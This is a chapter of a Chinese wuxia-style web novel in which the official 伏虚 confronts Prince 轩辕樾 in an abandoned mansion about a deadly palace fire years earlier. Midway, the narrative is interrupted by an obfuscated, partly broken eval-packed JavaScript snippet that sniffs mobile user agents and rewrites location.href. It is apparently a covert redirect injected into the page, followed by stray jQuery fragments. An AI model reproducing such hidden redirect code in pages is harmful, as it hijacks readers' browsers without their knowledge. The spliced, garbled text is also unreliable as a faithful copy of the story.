九狱燃灯宜醉不宜醒

40.第三个前夜(上)

伏虚和芯灯在出城的一个路口分开。


伏虚一个人走进一截人越来越少的巷道,这里已经是城郊,以他的步速,没用多久便走到了一处宅子前。


这个宅子很大,像是某个没落官员的府邸,伏虚沿着院墙走了一会儿功夫才走到正门。这周围显然也没有旁的人家,不知是搬走了还是别的原因,总之看起来荒凉不少。但这份荒凉正中伏虚下怀,他可不希望有人跟着他。四下探知了一下,伏虚料定这四周无人,才伸手将眼前宅门上的封条扯了下来,推门进去。


进到院子里,更加证实了这是一处荒宅的事实。


院里陈设荒败,原来像是栽种了花圃的地方,只剩下了些枯枝败叶,一看就是长久未有人经营的样子。但是,整座院落虽然看似荒败,但还算整洁,陈设之物并没有杂乱之感。从地上灰尘划出的痕迹来看,不太久之前应该还有人打扫过。


伏虚没有在院落中停留,他似是对这里并不陌生,穿过几条连廊几个门庭,终于在最里面的一间正房门前停下了脚步。


伏虚抬手敲了敲门,里面自然是没有声音,他便推门进去了。


这是一间很大的卧房,靠西边放着一架两进的大床,所饰花纹精致繁琐。靠近床不远的位置有一副金丝楠木的椅子和桌几,论做工和材质,与那床一样,给人一种这屋子跟这座荒宅的气质格格不入的印象。


伏虚就在那椅子上坐了下来,他要在这里等一个人。


日头渐渐低落,在最后一抹日光落下之后,夜幕慢慢掩盖了整座东都。今日外面的天竟然连一丝月光都无,以至于荒郊这座宅子在这样的气氛中更显得寂静诡异。


但这对于轩辕樾来说这样的天气也实属平常。他手持一盏简单的灯笼,像是街市上随处可见的那种纸糊的样式,如常地打开角门的锁,正要进去的时刻,眼睛瞄到了一旁正门处被撕毁的封条。眉头紧紧地皱起来。


轩辕樾走进门内,将角门从内拴上,而后站在院中停留了一会儿。


人不在这里。


但……


轩辕樾飞身疾驰,片刻之间便到了最里面的一处院子的正门前,飞起一脚就踹开了门,同时喝道:


“谁在那里!”


门被踢开的一刹那,轩辕樾的灯笼也同时被送了出去,于是正对着门而坐的人面容便出现在了轩辕樾面前。


轩辕樾霎时有些意外:


“大司空?”


继而又有些戒备:


“你怎么在这里?”


伏虚截断了轩辕樾推来的内力,将灯笼稳稳接在手里,而后不紧不慢地将它轻轻放在旁边的桌子上。


整个房间这才算是有点光亮。


伏虚的语气也跟他的动作一样,不紧不慢:


“自然是为了等王爷。”


“你怎么知道本王会来这里?”轩辕樾的语气里已经有了怒意,“你怎么知道这里?”


伏虚站起来,朝轩辕樾的方向挪动了两步,忽略了那人语气的中的怒意,只笑着面对他:


“王爷哪来这么大的气性?…话说……”


伏虚偏头看向轩辕樾身后,挑眉。


“黥家那小十郎呢?今日怎么没跟来?”


轩辕樾僵了一下,一时噤了声。


伏虚观他神情,脸上还算柔和的笑意敛了去,眸中多出了几分了然、只是那了然中多了一分不屑的意味。


也不过一瞬,伏虚便又换上了一副笑脸,只是这一次的笑容倒比刚才显得冷了些:


“樾王……也不过如此……”


说完,伏虚悠哉回到了方才起身的地方,重新坐了。


轩辕樾垂于身侧的手狠狠握成了拳,但最终他还是压下心中起伏的情绪,平板地问:


“大司空怎会来此处寻我?”


伏虚静静地看着他,状似平常地回答的他的问题:


“王爷每月朔日便会来到这里,如此这般已经八年有余……只是以往王爷来,身后都跟着那个叽叽喳喳的小尾巴……王爷的心思大多都在他身上,自然对旁人的察觉就少些……”


“你调查我?”轩辕樾眼中的怒意掺了些狐疑,但马上,他想到了另一种可能,“是陛下?……”


伏虚没有否认:


“咱家对王爷的私事并无兴趣……但或许,王爷想知道的事情,咱家碰巧知道……”


轩辕樾:


“本王想知道什么?”


伏虚笑起来:


“王爷想知道什么~在下可不清楚,王爷不妨自己想想。”


轩辕樾沉默了。


他确实有事想问伏虚,自从大司空追捕刺客回来之后,他就在找机会见大司空一面。只是伏虚复命之后便在宫中闭关不出,说是受了伤,轩辕樾也不好打扰。


轩辕樾跟大司空平素并无交情,所以陡然在这里见面,要说不意外那是不可能的。


今天他没有进宫,但南卫军的奏报早已送到他面前。奏报上说,大司空在奉国寺闹事,毁掉了奉国寺的宝塔,陛下遣人去请大司空面圣回话,但大司空却抗旨而去。


“大司空今日为何不去面圣?”


轩辕樾的语气缓和了一些。


伏虚并没有绕弯子:


“咱家有不得不这么做的理由。”


“那大司空为何又来见本王?”轩辕樾语气严肃起来,“大司空就不怕本王将你拿下?交予陛下处置?”


伏虚轻笑出声:


“你没有那个本事~”


这倒是实话。


被人当面轻视,轩辕樾却没有生气,直到现在,他基本上可以确定,伏虚来寻他是有对他有所求:


“大司空想从我这里得到什么?”


伏虚这下正色起来,颇为认真地道:


“咱家需要王爷帮忙回忆一件事……”


“若王爷可以告知,在下同样可以告诉王爷一件……王爷一定会感兴趣的事情~”


轩辕樾的心虚已然平稳:“什么事?”


伏虚缓缓开口:


“开元三年九月望日那一夜……宫里发生了什么事?”


轩辕樾怔住,他未料到伏虚竟然问的是此事。


在伏虚紧盯着他的目光里,轩辕樾沉默良久,才艰难地出声:


“大司空缘何要问……这么久远的事情……”


伏虚幽幽开口:


“王爷不要推脱说不知情,咱家记得很清楚,那一日是王爷进宫当值,守在祈祥殿外……”


“陛下那日就在殿内,后来祈祥殿就走了水……死了很多人……”


那一夜伏虚不在宫里,因为前一天无名圆寂了,他在翌日得到这个消息的时候就去了奉国寺。原是为无名送行,因为炁谷不陪他去,他还赌气在寺中住了一晚没有回宫。隔天一早听到了宫里走水的事情,因为担心炁谷他便提前回了宫。


最终也没能目送春生入土为安、连他的尸体也没有见到就回去了。


再后来发生的事情太多,至于芯灯所说的东都法会他也错过了。对于春生的后事的消息,伏虚草草而过、他们这一生最终是虎头蛇尾了的。


春生没出家前,只是他的挚友,两人同为武学痴迷又同样悟性极高,伏虚一直以为他们不会真的分开。就算春生离开他几年后回来,在江湖上多了个“无名子”的名号,伏虚也没觉得怎么样,他们并不生分、反而彼此切磋的时间更多了。


直到春生出了家,有了一个让伏虚有些难过的法号,焚忧。


春生想焚之忧,究竟是何忧?<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424005|167116||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


/p>


伏虚不敢细想。


开元三年九月望日那一夜到底发生了什么,伏虚并不知晓。他只知道那一晚炁谷和皇帝在祈祥殿呆了一整夜,他只知道那一夜祈祥殿送出了很多尸体。


那一夜之后,炁谷就病了、很久没有出门,甚至在那不久后的几天就永远离开了他。


离世前,炁谷叮嘱他的最后一件事,就是提防陛下要害他。


卷地风来忽吹散,人生多事总突然。


不过是几日之间,伏虚便同时失去了这此生唯一的爱人和唯一的挚友。


那种悲伤甚至连伏虚自己都不知道是如何挺过来的。


他仿佛将悲伤都封在心底,不愿去触碰、更不愿去多想。


连带着的,与那二人无关的所有事情,伏虚也不再愿意放心思。


本来,很多事情在伏虚的刻意的回避下,已然几近被他淡忘。


但就在今日,在他坐在这屋中等待轩辕樾的时间里,当年的发生的事情却不可控似地纷纷涌现了出来。


他接连失去两位至亲挚爱之人,几乎是出于本能的,伏虚觉得:开元三年九月望日那一夜,一定发生了什么他不知道、却是很重要的事情。


轩辕樾这一次没有再多话,而是提了另外一个问题:


“那大司空能告诉我什么?”


伏虚:“王爷想知道什么?”


轩辕樾:“确有两件事情,是现下本王想要知道的……只是在那之前,大司空能否先回答本王一个问题。”


伏虚:“王爷请讲。”


轩辕樾:“那夜的刺客真的死了吗?”


伏虚:“没有。”


轩辕樾眯了眯眼:“大司空这是欺君。”


伏虚难得叹了口气:


“咱家复命之时确实是以为他们死了……即使没死,那也是活不了了的……”


“咱家也是今日才推断出,那两个人或许并没有死……”


因为芯灯。


伏虚在等轩辕樾的时间里,想起白日遇到的芯灯,几日前他还为那刺客舍身出手,而今日却全然无事人一般。虽然他与芯灯并没有再提起刺客的事情,但伏虚想,那两个人应是脱险了,所以那小和尚从见到他开始,才会那般随行自然、没有任何愤慨和悲伤之色。


只是伏虚自己也想不通,那两人即便是活着,也是四肢全废的废人了……


但那小和尚竟然也没有迁怒于他,待他还算亲和平常,是因为忘记了?还是……


伏虚没有再深想下去,他有一种预感,若那两人还活着,他们一定还会再见。


不知为何,在听到这个消息的时候,轩辕樾似乎是松了一口气的。轩辕樾笃定那夜的刺客之中,一定有一个是跟黥朗有过交情的,至少,是知道黥朗下落的人。


轩辕樾此刻对伏虚的戒心已放下大半,对方将如此大的一个把柄交到自己手里,想来真如他所说,今日来寻自己,只是为了想知道一些事情。


“大司空可知那刺客身份?……可是东都之人?”


轩辕樾机警地追问了一句。


伏虚摇头:


“不知……若是东都之人,连日来搜捕定不会一点踪迹都不漏……应是已离开东都了……但王爷何以觉得…那人是东都之人?”


轩辕樾模糊道:“只是感觉……”


他自然不能说出,那刺客能唤出他的字,一定是认识他的人。


伏虚看轩辕樾的神情,猜到他有所隐瞒,但此事他原就不在意,于是也不追问,只开口说起此行的目的:


“那现在,咱家想知道的事……王爷可否告知?”


轩辕樾自觉那夜之事,仅他知道的那些,并无不可说之处,并没有隐瞒,将当夜之事娓娓讲于伏虚听……